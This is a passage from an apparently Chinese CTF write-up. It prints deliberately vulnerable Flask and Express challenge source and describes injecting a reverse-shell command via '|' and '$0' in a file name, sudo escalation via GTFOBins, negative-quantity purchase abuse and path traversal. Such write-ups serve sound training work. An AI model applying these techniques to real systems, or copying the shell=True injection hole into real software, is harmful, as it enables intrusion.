</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">def</span> <span class="nf">checkname</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">ILLEGAL_CHARACTERS</span> <span class="o">=</span> <span class="sa">r</span><span class="s2">&#34;[*=&amp;</span><span class="se">\&#34;</span><span class="s2">%;&lt;&gt;iashto!@()\{\}\[\]_^`\&#39;~</span><span class="se">\\</span><span class="s2">#]&#34;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">noip</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;\d+\.\d+&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="k">if</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">ILLEGAL_CHARACTERS</span><span class="p">,</span> <span class="n">filename</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="k">if</span> <span class="s2">&#34;..&#34;</span> <span class="ow">in</span> <span class="n">filename</span> <span class="p">:</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">noip</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">filename</span><span class="p">)):</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="nd">@app.route</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="k">def</span> <span class="nf">upload_form</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s1">&#39;upload.html&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="nd">@app.route</span><span class="p">(</span><span class="s1">&#39;/upload&#39;</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s1">&#39;POST&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="k">def</span> <span class="nf">upload_file</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="k">if</span> <span class="s1">&#39;file&#39;</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">request</span><span class="o">.</span><span class="n">files</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s2">&#34;error&#34;</span><span class="p">:</span> <span class="s2">&#34;No file part in the request&#34;</span><span class="p">}),</span> <span class="mi">400</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="n">file</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">files</span><span class="p">[</span><span class="s1">&#39;file&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="k">if</span> <span class="n">file</span><span class="o">.</span><span class="n">filename</span> <span class="o">==</span> <span class="s1">&#39;&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s2">&#34;error&#34;</span><span class="p">:</span> <span class="s2">&#34;No file selected&#34;</span><span class="p">}),</span> <span class="mi">400</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">checkname</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">filename</span><span class="p">)</span><span class="o">==</span><span class="kc">False</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s2">&#34;error&#34;</span><span class="p">:</span> <span class="s2">&#34;Not hacking!&#34;</span><span class="p">}),</span> <span class="mi">500</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="k">if</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">        <span class="n">file_path</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">app</span><span class="o">.</span><span class="n">config</span><span class="p">[</span><span class="s1">&#39;UPLOAD_FOLDER&#39;</span><span class="p">],</span> <span class="n">file</span><span class="o">.</span><span class="n">filename</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">        <span class="n">file</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">file_path</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;cat </span><span class="si">{</span><span class="n">file_path</span><span class="si">}</span><span class="s2"> | base64&#34;</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span> <span class="n">capture_output</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span> <span class="n">text</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="n">encoded_string</span> <span class="o">=</span> <span class="n">result</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">            <span class="s2">&#34;filename&#34;</span><span class="p">:</span> <span class="n">file</span><span class="o">.</span><span class="n">filename</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">            <span class="s2">&#34;base64&#34;</span><span class="p">:</span> <span class="n">encoded_string</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">        <span class="p">})</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">
</span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">    <span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s1">&#39;0.0.0.0&#39;</span><span class="p">,</span><span class="n">port</span><span class="o">=</span><span class="mi">5000</span><span class="p">)</span></span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">img2base64源码</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>公告有提示反弹shell，那就先把反弹的命令写进文件</p>
<p><img
  src="/12ffc6/img2base64_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1671" height="900"
/>
</p>
<p>代码执行的是<code>cat {file_path} | base64</code></p>
<p>先通过<code>|</code>截断命令，然后使用<code>$0</code>来执行 cat 输出的内容，也就是反弹shell的命令</p>
<p><code>$0</code>代表本文件，<code>$1</code>代表第1个参数，以此类推。<code>$#</code>代表参数个数</p>
<p><img
  src="/12ffc6/img2base64_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1686" height="900"
/>
</p>
<p>监听端口</p>
<p><img
  src="/12ffc6/img2base64_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="651" height="881"
/>
</p>
<p>没权限读flag</p>
<p><code>sudo -l</code>查看有权限的命令，然后在<a
  href="https://gtfobins.github.io/" rel="nofollow noopener noreferrer" target="_blank"
  >GTFOBins<span style="user-select:none"> ↗</span></a
>
查sudo语法</p>
<p>幸好本地部署了<code>GTFOBins</code></p>
<p><img
  src="/12ffc6/img2base64_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1295" height="906"
/>
</p>
<p>不过这题队友出大力，推荐队友的一键部署环境脚本：<a
  href="https://github.com/dr0n1/CTF_misc_auto_deploy" rel="nofollow noopener noreferrer" target="_blank"
  >https://github.com/dr0n1/CTF_misc_auto_deploy<span style="user-select:none"> ↗</span></a
>
</p>
<p><img
  src="/12ffc6/img2base64_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1012" height="529"
/>
</p>
<h1 id="web-genshop">[web] genshop<a class="anchor" href="#web-genshop">#</a></h1>
<h2 id="fix">fix<a class="anchor" href="#fix">#</a></h2>
<p>太逆天了，我正在加各种过滤，结果rot-will把函数去掉就过了。</p>
<p>ssti的模板去掉直接过了</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># return render_template_string(f&#34;&lt;h3&gt;{result}&lt;/h3&gt;&#34;)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">return</span> <span class="sa">f</span><span class="s2">&#34;&lt;h3&gt;</span><span class="si">{</span><span class="n">result</span><span class="si">}</span><span class="s2">&lt;/h3&gt;&#34;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h1 id="web-easy_shop">[web] Easy_shop<a class="anchor" href="#web-easy_shop">#</a></h1>
<h2 id="break-2">break<a class="anchor" href="#break-2">#</a></h2>
<p>打开是一个商店购买页面</p>
<p>将购买数量改成负数，可以增加金钱</p>
<p><img
  src="/12ffc6/Easy_shop_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1836" height="884"
/>
</p>
<p>购买flag，得到<code>/showflag</code>路由</p>
<p><img
  src="/12ffc6/Easy_shop_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1726" height="884"
/>
</p>
<p>访问是一个文件读取功能，读取<code>../app.js</code></p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="ln">  1</span><span class="cl"><span class="kr">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;express&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="kr">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="kr">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;fs&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="kr">const</span> <span class="nx">port</span> <span class="o">=</span> <span class="mi">3000</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">  5</span><span class="cl"><span class="kr">const</span> <span class="nx">bodyParser</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;body-parser&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">  6</span><span class="cl">
</span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="s1">&#39;view engine&#39;</span><span class="p">,</span> <span class="s1">&#39;ejs&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">express</span><span class="p">.</span><span class="kr">static</span><span class="p">(</span><span class="s1">&#39;public&#39;</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">  9</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">bodyParser</span><span class="p">.</span><span class="nx">urlencoded</span><span class="p">({</span> <span class="nx">extended</span><span class="o">:</span> <span class="kc">true</span> <span class="p">}));</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">
</span></span><span class="line"><span class="ln"> 11</span><span class="cl"><span class="kd">let</span> <span class="nx">money</span> <span class="o">=</span> <span class="mi">1000</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl"><span class="kr">const</span> <span class="nx">initialMoney</span> <span class="o">=</span> <span class="mi">1000</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl"><span class="kd">let</span> <span class="nx">message</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl"><span class="kr">const</span> <span class="nx">products</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">  <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;帽子&#39;</span><span class="p">,</span> <span class="nx">price</span><span class="o">:</span> <span class="mi">10</span> <span class="p">},</span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">  <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;棒球&#39;</span><span class="p">,</span> <span class="nx">price</span><span class="o">:</span> <span class="mi">15</span> <span class="p">},</span>
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">  <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;iphone&#39;</span><span class="p">,</span> <span class="nx">price</span><span class="o">:</span> <span class="mi">150</span> <span class="p">},</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">  <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;flag&#39;</span><span class="p">,</span> <span class="nx">price</span><span class="o">:</span> <span class="mi">1500</span> <span class="p">},</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl"><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">
</span></span><span class="line"><span class="ln"> 21</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;/showflag&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">  <span class="nx">res</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="s1">&#39;readfile&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">
</span></span><span class="line"><span class="ln"> 25</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s1">&#39;/readfile&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">  <span class="kr">const</span> <span class="nx">fileName</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">fileName</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">fileName</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="s2">&#34;fl&#34;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">    <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">200</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="s1">&#39;你还真读flag啊&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">  <span class="c1">// 读取文件内容
</span></span></span><span class="line"><span class="ln"> 32</span><span class="cl">  <span class="nx">fs</span><span class="p">.</span><span class="nx">readFile</span><span class="p">(</span><span class="s2">&#34;/app/public/&#34;</span><span class="o">+</span><span class="nx">fileName</span><span class="p">,</span> <span class="s1">&#39;utf8&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">data</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">500</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="s1">&#39;Error reading the file&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">  <span class="p">});</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">
</span></span><span class="line"><span class="ln"> 42</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">  <span class="nx">res</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="s1">&#39;index&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">products</span><span class="p">,</span> <span class="nx">money</span><span class="p">,</span> <span class="nx">message</span> <span class="p">});</span>
</span></span><span class="line"><span class="ln"> 44</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">
</span></span><span class="line"><span class="ln"> 46</span><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;/buy/:productIndex&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">  <span class="kr">const</span> <span class="nx">productIndex</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">productIndex</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">  <span class="kd">let</span> <span class="nx">quantity</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">quantity</span> <span class="o">||</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// 获取购买数量，默认为1
</span></span></span><span class="line"><span class="ln"> 49</span><span class="cl">
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">productIndex</span> <span class="o">===</span> <span class="s1">&#39;3&#39;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">    <span class="nx">quantity</span> <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">abs</span><span class="p">(</span><span class="nx">quantity</span><span class="p">);</span> <span class="c1">// 取绝对值
</span></span></span><span class="line"><span class="ln"> 52</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="nx">money</span> <span class="o">&gt;=</span> <span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">].</span><span class="nx">price</span> <span class="o">*</span> <span class="nx">quantity</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">      <span class="nx">money</span> <span class="o">-=</span> <span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">].</span><span class="nx">price</span> <span class="o">*</span> <span class="nx">quantity</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">      <span class="nx">message</span> <span class="o">=</span> <span class="sb">`购买flag成功啦！给你/showflag这个路由，听说那里面有flag`</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="s1">&#39;index&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">products</span><span class="p">,</span> <span class="nx">money</span><span class="p">,</span> <span class="nx">message</span><span class="p">,</span> <span class="nx">showAlert</span><span class="o">:</span> <span class="kc">true</span> <span class="p">});</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">      <span class="nx">message</span> <span class="o">=</span> <span class="s1">&#39;flag很贵的&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">  <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">]</span> <span class="o">&amp;&amp;</span> <span class="nx">money</span> <span class="o">&gt;=</span> <span class="nx">products</span><span class="p">[</span><span class="nx">productIndex</span><span class="p">].</span><span class="nx">price</span> <span class="o">*</span> <span class="nx">quantity</span><span class="p">)</span> <span class="p">{</span>
